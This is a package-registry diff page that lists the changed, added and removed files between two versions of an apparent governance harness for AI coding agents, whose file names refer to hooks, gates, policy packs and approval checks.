@lannguyensi/harness 0.63.0 → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (702) hide show
  1. package/CHANGELOG.md +90 -0
  2. package/README.md +46 -42
  3. package/dist/cli/add/index.js +17 -21
  4. package/dist/cli/add/index.js.map +1 -1
  5. package/dist/cli/adopt/derive.d.ts +2 -2
  6. package/dist/cli/adopt/derive.js +2 -19
  7. package/dist/cli/adopt/derive.js.map +1 -1
  8. package/dist/cli/adopt/index.d.ts +1 -1
  9. package/dist/cli/adopt/index.js +1 -12
  10. package/dist/cli/adopt/index.js.map +1 -1
  11. package/dist/cli/apply/apply.d.ts +20 -35
  12. package/dist/cli/apply/apply.js +61 -136
  13. package/dist/cli/apply/apply.js.map +1 -1
  14. package/dist/cli/apply/generate-codex-config.js +10 -58
  15. package/dist/cli/apply/generate-codex-config.js.map +1 -1
  16. package/dist/cli/apply/generate-memory-index.js +1 -2
  17. package/dist/cli/apply/generate-memory-index.js.map +1 -1
  18. package/dist/cli/apply/generate-opencode-config.d.ts +2 -10
  19. package/dist/cli/apply/generate-opencode-config.js +74 -113
  20. package/dist/cli/apply/generate-opencode-config.js.map +1 -1
  21. package/dist/cli/apply/generate-settings.d.ts +11 -64
  22. package/dist/cli/apply/generate-settings.js +27 -132
  23. package/dist/cli/apply/generate-settings.js.map +1 -1
  24. package/dist/cli/apply/index.d.ts +1 -1
  25. package/dist/cli/apply/index.js +1 -1
  26. package/dist/cli/apply/index.js.map +1 -1
  27. package/dist/cli/apply/install-codex-config.d.ts +153 -1
  28. package/dist/cli/apply/install-codex-config.js +445 -70
  29. package/dist/cli/apply/install-codex-config.js.map +1 -1
  30. package/dist/cli/apply/next-steps.d.ts +7 -0
  31. package/dist/cli/apply/next-steps.js +13 -1
  32. package/dist/cli/apply/next-steps.js.map +1 -1
  33. package/dist/cli/bounded-stdin.d.ts +0 -23
  34. package/dist/cli/bounded-stdin.js +2 -49
  35. package/dist/cli/bounded-stdin.js.map +1 -1
  36. package/dist/cli/describe.d.ts +1 -1
  37. package/dist/cli/describe.js +0 -3
  38. package/dist/cli/describe.js.map +1 -1
  39. package/dist/cli/diff/engine.d.ts +0 -11
  40. package/dist/cli/diff/engine.js +1 -17
  41. package/dist/cli/diff/engine.js.map +1 -1
  42. package/dist/cli/diff/index.js +14 -25
  43. package/dist/cli/diff/index.js.map +1 -1
  44. package/dist/cli/doctor/claude-mcp.d.ts +4 -19
  45. package/dist/cli/doctor/claude-mcp.js +11 -22
  46. package/dist/cli/doctor/claude-mcp.js.map +1 -1
  47. package/dist/cli/doctor/codex.d.ts +12 -14
  48. package/dist/cli/doctor/codex.js +31 -144
  49. package/dist/cli/doctor/codex.js.map +1 -1
  50. package/dist/cli/doctor/format.js +23 -338
  51. package/dist/cli/doctor/format.js.map +1 -1
  52. package/dist/cli/doctor/hook-liveness.d.ts +56 -0
  53. package/dist/cli/doctor/hook-liveness.js +455 -0
  54. package/dist/cli/doctor/hook-liveness.js.map +1 -0
  55. package/dist/cli/doctor/index.d.ts +13 -87
  56. package/dist/cli/doctor/index.js +57 -705
  57. package/dist/cli/doctor/index.js.map +1 -1
  58. package/dist/cli/doctor/opencode.d.ts +2 -1
  59. package/dist/cli/doctor/opencode.js.map +1 -1
  60. package/dist/cli/doctor/types.d.ts +21 -378
  61. package/dist/cli/doctor/types.js.map +1 -1
  62. package/dist/cli/drain-stdio.d.ts +31 -0
  63. package/dist/cli/drain-stdio.js +76 -0
  64. package/dist/cli/drain-stdio.js.map +1 -0
  65. package/dist/cli/export.d.ts +3 -1
  66. package/dist/cli/export.js +7 -16
  67. package/dist/cli/export.js.map +1 -1
  68. package/dist/cli/gate/codex-disable.d.ts +29 -0
  69. package/dist/cli/gate/codex-disable.js +195 -0
  70. package/dist/cli/gate/codex-disable.js.map +1 -0
  71. package/dist/cli/gate/codex-enable.d.ts +41 -0
  72. package/dist/cli/gate/codex-enable.js +127 -0
  73. package/dist/cli/gate/codex-enable.js.map +1 -0
  74. package/dist/cli/gate/codex-snapshot.d.ts +208 -0
  75. package/dist/cli/gate/codex-snapshot.js +402 -0
  76. package/dist/cli/gate/codex-snapshot.js.map +1 -0
  77. package/dist/cli/gate/disable.d.ts +9 -0
  78. package/dist/cli/gate/disable.js +263 -28
  79. package/dist/cli/gate/disable.js.map +1 -1
  80. package/dist/cli/gate/enable.d.ts +26 -6
  81. package/dist/cli/gate/enable.js +152 -80
  82. package/dist/cli/gate/enable.js.map +1 -1
  83. package/dist/cli/gate/link-chain.d.ts +53 -0
  84. package/dist/cli/gate/link-chain.js +122 -0
  85. package/dist/cli/gate/link-chain.js.map +1 -0
  86. package/dist/cli/gate/snapshot.d.ts +289 -12
  87. package/dist/cli/gate/snapshot.js +481 -22
  88. package/dist/cli/gate/snapshot.js.map +1 -1
  89. package/dist/cli/index.d.ts +0 -9
  90. package/dist/cli/index.js +15 -2607
  91. package/dist/cli/index.js.map +1 -1
  92. package/dist/cli/init/composer.d.ts +3 -6
  93. package/dist/cli/init/composer.js +6 -370
  94. package/dist/cli/init/composer.js.map +1 -1
  95. package/dist/cli/init/dependencies.d.ts +1 -2
  96. package/dist/cli/init/dependencies.js +4 -80
  97. package/dist/cli/init/dependencies.js.map +1 -1
  98. package/dist/cli/init/detect.js +5 -4
  99. package/dist/cli/init/detect.js.map +1 -1
  100. package/dist/cli/init/interactive.d.ts +1 -23
  101. package/dist/cli/init/interactive.js +33 -247
  102. package/dist/cli/init/interactive.js.map +1 -1
  103. package/dist/cli/init/profiles.d.ts +2 -2
  104. package/dist/cli/init/profiles.js +51 -243
  105. package/dist/cli/init/profiles.js.map +1 -1
  106. package/dist/cli/init/templates.d.ts +2 -37
  107. package/dist/cli/init/templates.js +25 -1237
  108. package/dist/cli/init/templates.js.map +1 -1
  109. package/dist/cli/list.d.ts +1 -1
  110. package/dist/cli/list.js +1 -38
  111. package/dist/cli/list.js.map +1 -1
  112. package/dist/cli/loader.d.ts +15 -1
  113. package/dist/cli/loader.js +56 -39
  114. package/dist/cli/loader.js.map +1 -1
  115. package/dist/cli/main.js +7 -2
  116. package/dist/cli/main.js.map +1 -1
  117. package/dist/cli/migrate-home/index.js +2 -2
  118. package/dist/cli/migrate-home/index.js.map +1 -1
  119. package/dist/cli/pack/add.js +1 -1
  120. package/dist/cli/pack/add.js.map +1 -1
  121. package/dist/cli/pack/hook-bootstrap.d.ts +5 -164
  122. package/dist/cli/pack/hook-bootstrap.js +15 -291
  123. package/dist/cli/pack/hook-bootstrap.js.map +1 -1
  124. package/dist/cli/pack/hook-branch-protection.d.ts +28 -21
  125. package/dist/cli/pack/hook-branch-protection.js +365 -340
  126. package/dist/cli/pack/hook-branch-protection.js.map +1 -1
  127. package/dist/cli/pack/index.d.ts +0 -1
  128. package/dist/cli/pack/index.js +0 -1
  129. package/dist/cli/pack/index.js.map +1 -1
  130. package/dist/cli/pack/list.js +1 -6
  131. package/dist/cli/pack/list.js.map +1 -1
  132. package/dist/cli/pack/mutate.d.ts +7 -9
  133. package/dist/cli/pack/mutate.js +6 -9
  134. package/dist/cli/pack/mutate.js.map +1 -1
  135. package/dist/cli/pack/reseed.d.ts +2 -2
  136. package/dist/cli/pack/reseed.js +16 -22
  137. package/dist/cli/pack/reseed.js.map +1 -1
  138. package/dist/cli/register-gate-group.d.ts +5 -0
  139. package/dist/cli/register-gate-group.js +348 -0
  140. package/dist/cli/register-gate-group.js.map +1 -0
  141. package/dist/cli/register-inspect-group.d.ts +6 -0
  142. package/dist/cli/register-inspect-group.js +189 -0
  143. package/dist/cli/register-inspect-group.js.map +1 -0
  144. package/dist/cli/register-operator-lifecycle.d.ts +5 -0
  145. package/dist/cli/register-operator-lifecycle.js +20 -0
  146. package/dist/cli/register-operator-lifecycle.js.map +1 -0
  147. package/dist/cli/register-pack-group.d.ts +5 -0
  148. package/dist/cli/register-pack-group.js +134 -0
  149. package/dist/cli/register-pack-group.js.map +1 -0
  150. package/dist/cli/register-setup-group.d.ts +5 -0
  151. package/dist/cli/register-setup-group.js +495 -0
  152. package/dist/cli/register-setup-group.js.map +1 -0
  153. package/dist/cli/remove/index.d.ts +0 -14
  154. package/dist/cli/remove/index.js +2 -115
  155. package/dist/cli/remove/index.js.map +1 -1
  156. package/dist/cli/remove/mutate.d.ts +0 -2
  157. package/dist/cli/remove/mutate.js +1 -19
  158. package/dist/cli/remove/mutate.js.map +1 -1
  159. package/dist/cli/remove/register.d.ts +5 -0
  160. package/dist/cli/remove/register.js +25 -0
  161. package/dist/cli/remove/register.js.map +1 -0
  162. package/dist/cli/shell-quote.d.ts +7 -0
  163. package/dist/cli/shell-quote.js +17 -0
  164. package/dist/cli/shell-quote.js.map +1 -0
  165. package/dist/cli/uninstall/index.d.ts +4 -2
  166. package/dist/cli/uninstall/index.js +15 -7
  167. package/dist/cli/uninstall/index.js.map +1 -1
  168. package/dist/cli/uninstall/register.d.ts +5 -0
  169. package/dist/cli/uninstall/register.js +171 -0
  170. package/dist/cli/uninstall/register.js.map +1 -0
  171. package/dist/cli/uninstall/snapshot.d.ts +15 -0
  172. package/dist/cli/uninstall/snapshot.js +38 -0
  173. package/dist/cli/uninstall/snapshot.js.map +1 -1
  174. package/dist/cli/validate/checks.d.ts +0 -77
  175. package/dist/cli/validate/checks.js +3 -1049
  176. package/dist/cli/validate/checks.js.map +1 -1
  177. package/dist/cli/validate/index.js +19 -15
  178. package/dist/cli/validate/index.js.map +1 -1
  179. package/dist/index.d.ts +0 -3
  180. package/dist/index.js +0 -3
  181. package/dist/index.js.map +1 -1
  182. package/dist/io/claude-mcp.d.ts +1 -1
  183. package/dist/io/claude-mcp.js +27 -14
  184. package/dist/io/claude-mcp.js.map +1 -1
  185. package/dist/io/harness-lock.js +2 -2
  186. package/dist/io/harness-lock.js.map +1 -1
  187. package/dist/io/lock.d.ts +0 -26
  188. package/dist/io/lock.js +10 -27
  189. package/dist/io/lock.js.map +1 -1
  190. package/dist/io/merge-settings.js +6 -4
  191. package/dist/io/merge-settings.js.map +1 -1
  192. package/dist/io/project-name.d.ts +22 -39
  193. package/dist/io/project-name.js +25 -42
  194. package/dist/io/project-name.js.map +1 -1
  195. package/dist/io/read-regular-file.d.ts +103 -40
  196. package/dist/io/read-regular-file.js +196 -35
  197. package/dist/io/read-regular-file.js.map +1 -1
  198. package/dist/io/restart-hints.js +3 -6
  199. package/dist/io/restart-hints.js.map +1 -1
  200. package/dist/io/version-compare.d.ts +1 -3
  201. package/dist/io/version-compare.js +1 -3
  202. package/dist/io/version-compare.js.map +1 -1
  203. package/dist/io/write-regular-file.d.ts +30 -0
  204. package/dist/io/write-regular-file.js +85 -0
  205. package/dist/io/write-regular-file.js.map +1 -0
  206. package/dist/overrides/index.d.ts +1 -0
  207. package/dist/overrides/index.js +1 -0
  208. package/dist/overrides/index.js.map +1 -1
  209. package/dist/overrides/merge-layers.d.ts +43 -0
  210. package/dist/overrides/merge-layers.js +76 -0
  211. package/dist/overrides/merge-layers.js.map +1 -0
  212. package/dist/overrides/merge.d.ts +16 -0
  213. package/dist/overrides/merge.js +21 -8
  214. package/dist/overrides/merge.js.map +1 -1
  215. package/dist/policy-packs/builtin/branch-protection-runtime.d.ts +4 -69
  216. package/dist/policy-packs/builtin/branch-protection-runtime.js +12 -84
  217. package/dist/policy-packs/builtin/branch-protection-runtime.js.map +1 -1
  218. package/dist/policy-packs/builtin/branch-protection.d.ts +7 -30
  219. package/dist/policy-packs/builtin/branch-protection.js +56 -89
  220. package/dist/policy-packs/builtin/branch-protection.js.map +1 -1
  221. package/dist/policy-packs/config-check.d.ts +7 -5
  222. package/dist/policy-packs/config-check.js +2 -2
  223. package/dist/policy-packs/config-check.js.map +1 -1
  224. package/dist/policy-packs/expand.d.ts +1 -3
  225. package/dist/policy-packs/expand.js +5 -42
  226. package/dist/policy-packs/expand.js.map +1 -1
  227. package/dist/policy-packs/index.d.ts +3 -3
  228. package/dist/policy-packs/index.js +2 -2
  229. package/dist/policy-packs/index.js.map +1 -1
  230. package/dist/policy-packs/registry.d.ts +9 -38
  231. package/dist/policy-packs/registry.js +5 -65
  232. package/dist/policy-packs/registry.js.map +1 -1
  233. package/dist/policy-packs/runtime.d.ts +0 -4
  234. package/dist/policy-packs/runtime.js +9 -22
  235. package/dist/policy-packs/runtime.js.map +1 -1
  236. package/dist/policy-packs/types.d.ts +0 -19
  237. package/dist/policy-packs/ux-compare.d.ts +1 -11
  238. package/dist/policy-packs/ux-compare.js +6 -42
  239. package/dist/policy-packs/ux-compare.js.map +1 -1
  240. package/dist/policy-packs/ux-drift-check.d.ts +5 -5
  241. package/dist/policy-packs/ux-drift-check.js +17 -22
  242. package/dist/policy-packs/ux-drift-check.js.map +1 -1
  243. package/dist/policy-packs/version-check.d.ts +5 -26
  244. package/dist/policy-packs/version-check.js +19 -74
  245. package/dist/policy-packs/version-check.js.map +1 -1
  246. package/dist/probes/memory.d.ts +1 -1
  247. package/dist/probes/memory.js +1 -1
  248. package/dist/probes/memory.js.map +1 -1
  249. package/dist/runtime/agent-facing.d.ts +9 -0
  250. package/dist/runtime/agent-facing.js +28 -14
  251. package/dist/runtime/agent-facing.js.map +1 -1
  252. package/dist/runtime/bounded-text.d.ts +15 -0
  253. package/dist/runtime/bounded-text.js +27 -0
  254. package/dist/runtime/bounded-text.js.map +1 -0
  255. package/dist/runtime/git-branch.d.ts +125 -0
  256. package/dist/runtime/git-branch.js +381 -0
  257. package/dist/runtime/git-branch.js.map +1 -0
  258. package/dist/runtime/hermetic-spawn-guard.d.ts +2 -2
  259. package/dist/runtime/hermetic-spawn-guard.js +24 -34
  260. package/dist/runtime/hermetic-spawn-guard.js.map +1 -1
  261. package/dist/runtime/home-dir.js +3 -2
  262. package/dist/runtime/home-dir.js.map +1 -1
  263. package/dist/runtime/tool-name-aliases.d.ts +0 -6
  264. package/dist/runtime/tool-name-aliases.js +5 -18
  265. package/dist/runtime/tool-name-aliases.js.map +1 -1
  266. package/dist/schema/grounding.d.ts +7 -54
  267. package/dist/schema/grounding.js +10 -12
  268. package/dist/schema/grounding.js.map +1 -1
  269. package/dist/schema/hooks.d.ts +39 -136
  270. package/dist/schema/hooks.js +3 -6
  271. package/dist/schema/hooks.js.map +1 -1
  272. package/dist/schema/index.d.ts +114 -3828
  273. package/dist/schema/index.js +41 -80
  274. package/dist/schema/index.js.map +1 -1
  275. package/dist/schema/memory.d.ts +54 -131
  276. package/dist/schema/memory.js +2 -2
  277. package/dist/schema/memory.js.map +1 -1
  278. package/dist/schema/policy-packs.d.ts +3 -45
  279. package/dist/schema/policy-packs.js +7 -13
  280. package/dist/schema/policy-packs.js.map +1 -1
  281. package/dist/schema/policy-ux.d.ts +7 -0
  282. package/dist/schema/policy-ux.js +18 -0
  283. package/dist/schema/policy-ux.js.map +1 -0
  284. package/dist/schema/removed-keys.d.ts +185 -0
  285. package/dist/schema/removed-keys.js +531 -0
  286. package/dist/schema/removed-keys.js.map +1 -0
  287. package/dist/schema/tools.d.ts +30 -268
  288. package/dist/schema/tools.js +4 -4
  289. package/dist/schema/tools.js.map +1 -1
  290. package/package.json +5 -16
  291. package/dist/cli/approve/branch-protection.d.ts +0 -69
  292. package/dist/cli/approve/branch-protection.js +0 -144
  293. package/dist/cli/approve/branch-protection.js.map +0 -1
  294. package/dist/cli/approve/risk.d.ts +0 -112
  295. package/dist/cli/approve/risk.js +0 -197
  296. package/dist/cli/approve/risk.js.map +0 -1
  297. package/dist/cli/approve/stdin-report.d.ts +0 -57
  298. package/dist/cli/approve/stdin-report.js +0 -145
  299. package/dist/cli/approve/stdin-report.js.map +0 -1
  300. package/dist/cli/approve/understanding.d.ts +0 -410
  301. package/dist/cli/approve/understanding.js +0 -996
  302. package/dist/cli/approve/understanding.js.map +0 -1
  303. package/dist/cli/audit.d.ts +0 -80
  304. package/dist/cli/audit.js +0 -252
  305. package/dist/cli/audit.js.map +0 -1
  306. package/dist/cli/delegate/index.d.ts +0 -76
  307. package/dist/cli/delegate/index.js +0 -443
  308. package/dist/cli/delegate/index.js.map +0 -1
  309. package/dist/cli/doctor/auto-approve-mode.d.ts +0 -37
  310. package/dist/cli/doctor/auto-approve-mode.js +0 -80
  311. package/dist/cli/doctor/auto-approve-mode.js.map +0 -1
  312. package/dist/cli/doctor/bypass-without-auto-approve.d.ts +0 -38
  313. package/dist/cli/doctor/bypass-without-auto-approve.js +0 -95
  314. package/dist/cli/doctor/bypass-without-auto-approve.js.map +0 -1
  315. package/dist/cli/doctor/codex-config-drift.d.ts +0 -28
  316. package/dist/cli/doctor/codex-config-drift.js +0 -240
  317. package/dist/cli/doctor/codex-config-drift.js.map +0 -1
  318. package/dist/cli/doctor/rogue-ledger.d.ts +0 -53
  319. package/dist/cli/doctor/rogue-ledger.js +0 -153
  320. package/dist/cli/doctor/rogue-ledger.js.map +0 -1
  321. package/dist/cli/doctor/session-start-preflight-setup-version.d.ts +0 -83
  322. package/dist/cli/doctor/session-start-preflight-setup-version.js +0 -114
  323. package/dist/cli/doctor/session-start-preflight-setup-version.js.map +0 -1
  324. package/dist/cli/doctor/settings-drift.d.ts +0 -25
  325. package/dist/cli/doctor/settings-drift.js +0 -213
  326. package/dist/cli/doctor/settings-drift.js.map +0 -1
  327. package/dist/cli/doctor/toolchain-parity.d.ts +0 -63
  328. package/dist/cli/doctor/toolchain-parity.js +0 -154
  329. package/dist/cli/doctor/toolchain-parity.js.map +0 -1
  330. package/dist/cli/doctor/ug-auto-approvals.d.ts +0 -40
  331. package/dist/cli/doctor/ug-auto-approvals.js +0 -91
  332. package/dist/cli/doctor/ug-auto-approvals.js.map +0 -1
  333. package/dist/cli/doctor/ug-delegations.d.ts +0 -26
  334. package/dist/cli/doctor/ug-delegations.js +0 -121
  335. package/dist/cli/doctor/ug-delegations.js.map +0 -1
  336. package/dist/cli/doctor/ug-inflight.d.ts +0 -35
  337. package/dist/cli/doctor/ug-inflight.js +0 -57
  338. package/dist/cli/doctor/ug-inflight.js.map +0 -1
  339. package/dist/cli/doctor/understanding-mode-env.d.ts +0 -51
  340. package/dist/cli/doctor/understanding-mode-env.js +0 -98
  341. package/dist/cli/doctor/understanding-mode-env.js.map +0 -1
  342. package/dist/cli/dry-run.d.ts +0 -46
  343. package/dist/cli/dry-run.js +0 -250
  344. package/dist/cli/dry-run.js.map +0 -1
  345. package/dist/cli/event-input.d.ts +0 -28
  346. package/dist/cli/event-input.js +0 -73
  347. package/dist/cli/event-input.js.map +0 -1
  348. package/dist/cli/explain-action.d.ts +0 -20
  349. package/dist/cli/explain-action.js +0 -27
  350. package/dist/cli/explain-action.js.map +0 -1
  351. package/dist/cli/explain-policy.d.ts +0 -135
  352. package/dist/cli/explain-policy.js +0 -266
  353. package/dist/cli/explain-policy.js.map +0 -1
  354. package/dist/cli/explain.d.ts +0 -31
  355. package/dist/cli/explain.js +0 -159
  356. package/dist/cli/explain.js.map +0 -1
  357. package/dist/cli/gc/index.d.ts +0 -63
  358. package/dist/cli/gc/index.js +0 -566
  359. package/dist/cli/gc/index.js.map +0 -1
  360. package/dist/cli/pack/approve-escape.d.ts +0 -19
  361. package/dist/cli/pack/approve-escape.js +0 -190
  362. package/dist/cli/pack/approve-escape.js.map +0 -1
  363. package/dist/cli/pack/auto-approve-path.d.ts +0 -146
  364. package/dist/cli/pack/auto-approve-path.js +0 -462
  365. package/dist/cli/pack/auto-approve-path.js.map +0 -1
  366. package/dist/cli/pack/hook-codex-post-tool-use.d.ts +0 -25
  367. package/dist/cli/pack/hook-codex-post-tool-use.js +0 -160
  368. package/dist/cli/pack/hook-codex-post-tool-use.js.map +0 -1
  369. package/dist/cli/pack/hook-codex-pre-tool-use.d.ts +0 -48
  370. package/dist/cli/pack/hook-codex-pre-tool-use.js +0 -474
  371. package/dist/cli/pack/hook-codex-pre-tool-use.js.map +0 -1
  372. package/dist/cli/pack/hook-codex-stop.d.ts +0 -35
  373. package/dist/cli/pack/hook-codex-stop.js +0 -329
  374. package/dist/cli/pack/hook-codex-stop.js.map +0 -1
  375. package/dist/cli/pack/hook-codex-user-prompt-submit.d.ts +0 -24
  376. package/dist/cli/pack/hook-codex-user-prompt-submit.js +0 -93
  377. package/dist/cli/pack/hook-codex-user-prompt-submit.js.map +0 -1
  378. package/dist/cli/pack/hook-post-merge-gate-record.d.ts +0 -37
  379. package/dist/cli/pack/hook-post-merge-gate-record.js +0 -190
  380. package/dist/cli/pack/hook-post-merge-gate-record.js.map +0 -1
  381. package/dist/cli/pack/hook-post-merge-gate.d.ts +0 -34
  382. package/dist/cli/pack/hook-post-merge-gate.js +0 -277
  383. package/dist/cli/pack/hook-post-merge-gate.js.map +0 -1
  384. package/dist/cli/pack/hook-post-tool-use.d.ts +0 -45
  385. package/dist/cli/pack/hook-post-tool-use.js +0 -137
  386. package/dist/cli/pack/hook-post-tool-use.js.map +0 -1
  387. package/dist/cli/pack/hook-pre-tool-use.d.ts +0 -92
  388. package/dist/cli/pack/hook-pre-tool-use.js +0 -1328
  389. package/dist/cli/pack/hook-pre-tool-use.js.map +0 -1
  390. package/dist/cli/pack/hook-runtime-reality.d.ts +0 -63
  391. package/dist/cli/pack/hook-runtime-reality.js +0 -210
  392. package/dist/cli/pack/hook-runtime-reality.js.map +0 -1
  393. package/dist/cli/pack/hook-solution-acceptance-writeguard.d.ts +0 -32
  394. package/dist/cli/pack/hook-solution-acceptance-writeguard.js +0 -337
  395. package/dist/cli/pack/hook-solution-acceptance-writeguard.js.map +0 -1
  396. package/dist/cli/pack/hook-solution-acceptance.d.ts +0 -157
  397. package/dist/cli/pack/hook-solution-acceptance.js +0 -530
  398. package/dist/cli/pack/hook-solution-acceptance.js.map +0 -1
  399. package/dist/cli/pack/hook-stay-in-scope.d.ts +0 -37
  400. package/dist/cli/pack/hook-stay-in-scope.js +0 -128
  401. package/dist/cli/pack/hook-stay-in-scope.js.map +0 -1
  402. package/dist/cli/pack/hook-subagent-start.d.ts +0 -23
  403. package/dist/cli/pack/hook-subagent-start.js +0 -88
  404. package/dist/cli/pack/hook-subagent-start.js.map +0 -1
  405. package/dist/cli/pack/hook-subagent-stop.d.ts +0 -19
  406. package/dist/cli/pack/hook-subagent-stop.js +0 -41
  407. package/dist/cli/pack/hook-subagent-stop.js.map +0 -1
  408. package/dist/cli/pack/hook-track-active-claim.d.ts +0 -27
  409. package/dist/cli/pack/hook-track-active-claim.js +0 -275
  410. package/dist/cli/pack/hook-track-active-claim.js.map +0 -1
  411. package/dist/cli/pack/transcript-report-scan.d.ts +0 -71
  412. package/dist/cli/pack/transcript-report-scan.js +0 -359
  413. package/dist/cli/pack/transcript-report-scan.js.map +0 -1
  414. package/dist/cli/pack/understanding-report-schema-hint.d.ts +0 -26
  415. package/dist/cli/pack/understanding-report-schema-hint.js +0 -120
  416. package/dist/cli/pack/understanding-report-schema-hint.js.map +0 -1
  417. package/dist/cli/pack/upgrade.d.ts +0 -32
  418. package/dist/cli/pack/upgrade.js +0 -273
  419. package/dist/cli/pack/upgrade.js.map +0 -1
  420. package/dist/cli/pause/index.d.ts +0 -113
  421. package/dist/cli/pause/index.js +0 -251
  422. package/dist/cli/pause/index.js.map +0 -1
  423. package/dist/cli/pause-check.d.ts +0 -22
  424. package/dist/cli/pause-check.js +0 -54
  425. package/dist/cli/pause-check.js.map +0 -1
  426. package/dist/cli/policy/intercept.d.ts +0 -233
  427. package/dist/cli/policy/intercept.js +0 -1020
  428. package/dist/cli/policy/intercept.js.map +0 -1
  429. package/dist/cli/policy/risk-envelope-enrichment.d.ts +0 -40
  430. package/dist/cli/policy/risk-envelope-enrichment.js +0 -108
  431. package/dist/cli/policy/risk-envelope-enrichment.js.map +0 -1
  432. package/dist/cli/record/index.d.ts +0 -81
  433. package/dist/cli/record/index.js +0 -348
  434. package/dist/cli/record/index.js.map +0 -1
  435. package/dist/cli/resolve-env.d.ts +0 -32
  436. package/dist/cli/resolve-env.js +0 -47
  437. package/dist/cli/resolve-env.js.map +0 -1
  438. package/dist/cli/session-export/index.d.ts +0 -46
  439. package/dist/cli/session-export/index.js +0 -169
  440. package/dist/cli/session-export/index.js.map +0 -1
  441. package/dist/cli/session-export/redact.d.ts +0 -22
  442. package/dist/cli/session-export/redact.js +0 -47
  443. package/dist/cli/session-export/redact.js.map +0 -1
  444. package/dist/cli/session-export/transcript.d.ts +0 -24
  445. package/dist/cli/session-export/transcript.js +0 -164
  446. package/dist/cli/session-export/transcript.js.map +0 -1
  447. package/dist/cli/session-start/branch-check.d.ts +0 -18
  448. package/dist/cli/session-start/branch-check.js +0 -140
  449. package/dist/cli/session-start/branch-check.js.map +0 -1
  450. package/dist/cli/session-start/index.d.ts +0 -121
  451. package/dist/cli/session-start/index.js +0 -591
  452. package/dist/cli/session-start/index.js.map +0 -1
  453. package/dist/cli/session-start/shared-options.d.ts +0 -103
  454. package/dist/cli/session-start/shared-options.js +0 -107
  455. package/dist/cli/session-start/shared-options.js.map +0 -1
  456. package/dist/cli/session-start/stale-base-check.d.ts +0 -46
  457. package/dist/cli/session-start/stale-base-check.js +0 -352
  458. package/dist/cli/session-start/stale-base-check.js.map +0 -1
  459. package/dist/cli/session-start/toolchain-parity.d.ts +0 -267
  460. package/dist/cli/session-start/toolchain-parity.js +0 -797
  461. package/dist/cli/session-start/toolchain-parity.js.map +0 -1
  462. package/dist/cli/smoke/assertions.d.ts +0 -46
  463. package/dist/cli/smoke/assertions.js +0 -170
  464. package/dist/cli/smoke/assertions.js.map +0 -1
  465. package/dist/cli/smoke/index.d.ts +0 -76
  466. package/dist/cli/smoke/index.js +0 -245
  467. package/dist/cli/smoke/index.js.map +0 -1
  468. package/dist/cli/smoke/runner.d.ts +0 -55
  469. package/dist/cli/smoke/runner.js +0 -134
  470. package/dist/cli/smoke/runner.js.map +0 -1
  471. package/dist/cli/smoke/stream-parser.d.ts +0 -65
  472. package/dist/cli/smoke/stream-parser.js +0 -115
  473. package/dist/cli/smoke/stream-parser.js.map +0 -1
  474. package/dist/cli/test-risk.d.ts +0 -26
  475. package/dist/cli/test-risk.js +0 -34
  476. package/dist/cli/test-risk.js.map +0 -1
  477. package/dist/io/display-path.d.ts +0 -11
  478. package/dist/io/display-path.js +0 -29
  479. package/dist/io/display-path.js.map +0 -1
  480. package/dist/io/duration.d.ts +0 -5
  481. package/dist/io/duration.js +0 -50
  482. package/dist/io/duration.js.map +0 -1
  483. package/dist/io/extract.d.ts +0 -79
  484. package/dist/io/extract.js +0 -226
  485. package/dist/io/extract.js.map +0 -1
  486. package/dist/io/ledger-record.d.ts +0 -83
  487. package/dist/io/ledger-record.js +0 -301
  488. package/dist/io/ledger-record.js.map +0 -1
  489. package/dist/io/read-json-dir-entries.d.ts +0 -36
  490. package/dist/io/read-json-dir-entries.js +0 -48
  491. package/dist/io/read-json-dir-entries.js.map +0 -1
  492. package/dist/io/safe-json-parse.d.ts +0 -5
  493. package/dist/io/safe-json-parse.js +0 -21
  494. package/dist/io/safe-json-parse.js.map +0 -1
  495. package/dist/policies/index.d.ts +0 -5
  496. package/dist/policies/index.js +0 -6
  497. package/dist/policies/index.js.map +0 -1
  498. package/dist/policies/ledger-client.d.ts +0 -113
  499. package/dist/policies/ledger-client.js +0 -500
  500. package/dist/policies/ledger-client.js.map +0 -1
  501. package/dist/policies/producers.d.ts +0 -12
  502. package/dist/policies/producers.js +0 -61
  503. package/dist/policies/producers.js.map +0 -1
  504. package/dist/policies/requires.d.ts +0 -75
  505. package/dist/policies/requires.js +0 -240
  506. package/dist/policies/requires.js.map +0 -1
  507. package/dist/policies/timestamp.d.ts +0 -14
  508. package/dist/policies/timestamp.js +0 -36
  509. package/dist/policies/timestamp.js.map +0 -1
  510. package/dist/policy-packs/builtin/permission-profiles.d.ts +0 -11
  511. package/dist/policy-packs/builtin/permission-profiles.js +0 -74
  512. package/dist/policy-packs/builtin/permission-profiles.js.map +0 -1
  513. package/dist/policy-packs/builtin/post-merge-gate-runtime.d.ts +0 -286
  514. package/dist/policy-packs/builtin/post-merge-gate-runtime.js +0 -397
  515. package/dist/policy-packs/builtin/post-merge-gate-runtime.js.map +0 -1
  516. package/dist/policy-packs/builtin/post-merge-gate.d.ts +0 -56
  517. package/dist/policy-packs/builtin/post-merge-gate.js +0 -347
  518. package/dist/policy-packs/builtin/post-merge-gate.js.map +0 -1
  519. package/dist/policy-packs/builtin/solution-acceptance-reconnect.d.ts +0 -50
  520. package/dist/policy-packs/builtin/solution-acceptance-reconnect.js +0 -151
  521. package/dist/policy-packs/builtin/solution-acceptance-reconnect.js.map +0 -1
  522. package/dist/policy-packs/builtin/solution-acceptance-runtime.d.ts +0 -323
  523. package/dist/policy-packs/builtin/solution-acceptance-runtime.js +0 -672
  524. package/dist/policy-packs/builtin/solution-acceptance-runtime.js.map +0 -1
  525. package/dist/policy-packs/builtin/solution-acceptance.d.ts +0 -45
  526. package/dist/policy-packs/builtin/solution-acceptance.js +0 -226
  527. package/dist/policy-packs/builtin/solution-acceptance.js.map +0 -1
  528. package/dist/policy-packs/builtin/understanding-before-execution/active-claim.d.ts +0 -25
  529. package/dist/policy-packs/builtin/understanding-before-execution/active-claim.js +0 -94
  530. package/dist/policy-packs/builtin/understanding-before-execution/active-claim.js.map +0 -1
  531. package/dist/policy-packs/builtin/understanding-before-execution/auto-approve-default.d.ts +0 -35
  532. package/dist/policy-packs/builtin/understanding-before-execution/auto-approve-default.js +0 -86
  533. package/dist/policy-packs/builtin/understanding-before-execution/auto-approve-default.js.map +0 -1
  534. package/dist/policy-packs/builtin/understanding-before-execution/auto-approve.d.ts +0 -210
